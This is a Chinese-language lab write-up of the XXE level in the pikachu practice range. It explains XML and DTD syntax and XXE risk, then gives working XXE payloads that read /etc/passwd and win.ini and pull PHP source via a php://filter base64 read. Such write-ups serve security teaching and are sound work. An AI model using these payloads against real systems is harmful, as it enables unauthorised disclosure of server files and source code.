目录
本系列为《pikachu靶场通关笔记》渗透实战,本文通过对XXE关卡源码的代码审计找到安全风险的真实原因,讲解XXE关卡的原理并进行渗透实践。在pikachu靶场中,XXE的利用可以通过构造特定的XML实体来实现,从而访问服务器文件、获取敏感信息或执行其他恶意操作。
一、XXE注入
XXE("xml external entity injection",XML外部实体注入)是一种在处理 XML 数据时可能出现的安全风险,它允许攻击者对服务器执行未经授权的操作。
当应用程序解析 XML 输入时,若没有正确地限制外部实体的加载,攻击者就可以构造恶意的 XML 内容,利用实体引用注入外部恶意文件或执行其他恶意操作。例如,攻击者可以通过 XXE 注入读取服务器上的敏感文件,如系统配置文件、用户密码文件等,造成敏感信息泄露。还可能利用该风险发起拒绝服务攻击,通过构造庞大的 XML 实体导致服务器资源耗尽。此外,在一些情况下,攻击者甚至可以借助 XXE 注入进行远程代码执行,进一步控制服务器。防范 XXE注入的关键在于对 XML 解析器进行正确配置,禁用外部实体加载,同时对用户输入的 XML 数据进行严格的验证和过滤,以防止恶意 XML 内容的传入。
二、XML语法
XML(可扩展标记语言)是一种用于存储和传输数据的标记语言,具有良好的自我描述性。接下来通过一段XML代码进行示例,如下代码整体上描述了一个便签(note)的相关信息,包括发送者、接收者、主题和正文,同时通过 DTD 声明了一个外部实体,具体如下所示。
第一部分:XML声明部分
<?xml version="1.0"?>
-
<?xml ... ?>:这是 XML 声明的固定语法格式,用来表明当前文档是一个 XML 文档。
-
version="1.0":明确指定了该 XML 文档遵循的 XML 版本为 1.0。XML 有多个版本,1.0 是最常用且被广泛支持的版本。
第二部分:文档类型定义 DTD
<!DOCTYPE note[ <!ENTITY entity-name SYSTEM "URI/URL">]>
-
<!DOCTYPE note[ ... ]>:这是 DTD 的开始部分。<!DOCTYPE 关键字用于声明文档类型定义,note 表示当前 XML 文档的根元素为 note,即此文档属于 note 类型的文档。方括号 [ ] 内是具体的 DTD 内容。
-
<!--定义此文档是note类型的文档-->:这是注释内容,用于对代码进行解释说明,在 XML 解析时会被忽略。
-
<!ENTITY entity-name SYSTEM "URI/URL">:这是一个外部实体声明。
-
<!ENTITY:关键字,用于声明一个实体。
-
entity-name:实体的名称,在 XML 文档中可以使用 &entity-name; 来引用该实体。
-
SYSTEM:表明这是一个外部实体,它引用的是外部资源。
-
"URI/URL":外部资源的统一资源标识符,可以是本地文件路径(如 file:///path/to/file),也可以是网络 URL(如 http://example.com/file.xml)。当 XML 解析器遇到对该实体的引用时,会尝试从指定的 URI/URL 加载资源并替换引用处的内容。
-
<!--外部实体声明-->:这是注释内容,对外部实体声明语句进行解释,解析时会被忽略。
第三部分:文档元素
<head>Reminder</head> <body>You are a good man</body> </note>
<note>
<to>Dave</to>
<from>Tom</from> -
<note>:这是 XML 文档的根元素,与前面 DTD 中声明的文档类型相呼应。根元素包含了整个 XML 文档的主要内容。
-
<to>Dave</to>:定义了一个名为 to 的元素,其元素内容为 Dave,通常可以理解为该便签(note)的接收者。
-
<from>Tom</from>:定义了一个名为 from 的元素,元素内容为 Tom,代表该便签的发送者。
-
<head>Reminder</head>:定义了一个名为 head 的元素,内容为 Reminder,可表示便签的主题。
-
<body>You are a good man</body>:定义了一个名为 body 的元素,内容为 You are a good man,这是便签的具体正文内容。
-
</note>:根元素 note 的结束标签,与开始标签 <note> 相对应,用于标记根元素的结束。
三、DTD格式
DTD(Document Type Definition)即文档类型定义,用于定义 XML 文档的结构、合法元素和属性。它能确保 XML 文档的规范性和一致性。DTD 有内部 DTD 和外部 DTD 两种定义方式。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个安全风险。
① 内部申明DTD格式
<!DOCTYPE 根元素 [元素申明]>
② 外部引用DTD格式
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">
③ 引用公共DTD格式
<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公共DTD的URI">
四、外部实体示例
接下来通过外部实体示例来了解XXE注入安全风险,通过如下代码可以使XML解析器会读取并包含指定文件(file:///etc/passwd) 内容,将file:///etc/passwd通过外部实体声明当XML被解析时,服务器会返回/etc/passwd文件内容,从而获取到敏感信息,具体如下所示。
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
-
外部实体声明
- ENTITY 关键字声明一个实体
- f 是实体名称(攻击者可自定义)
- SYSTEM 表示使用外部系统资源
- "file:///etc/passwd" 是要读取的文件路径(Linux系统密码文件)
- <x> 是任意XML标签
- &f; 引用之前定义的实体,会导致文件内容被插入
五、渗透实战
1、输出指定字符串
计划输出"mooyuan",通过内部实体引用进行实现,代码如下所示。
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "mooyuan" > ]>
<ljn>&xxe;</ljn>
如下所示回显"mooyuan",说明网页对输入的xml数据是有结果回显的,渗透成功。

2、获取敏感文件
计划获取c:/windows/win.ini敏感文件,通过外部实体引用进行实现,代码如下所示。
<?xml version="1.0"?>
<!DOCTYPE mooyuan[
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<ljn>&xxe;</ljn>
如下所示页面成功显示c:/windows/win.ini的内容,渗透成功。

3、获取源码文件
计划获取xss.php文件,于是通过php://filter/read伪协议获取,具体payload如下所示。
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY mooyuan SYSTEM "php://filter/read=convert.base64-encode/resource=../xss/xss.php">
]>
<ljn>&mooyuan;</ljn>
如下所示页面成功显示xss.php的base64编码后的内容,渗透成功。

接下来使用base64在线编码和解码工具进行解码,成功获取到xss.php源码,效果如下所示。
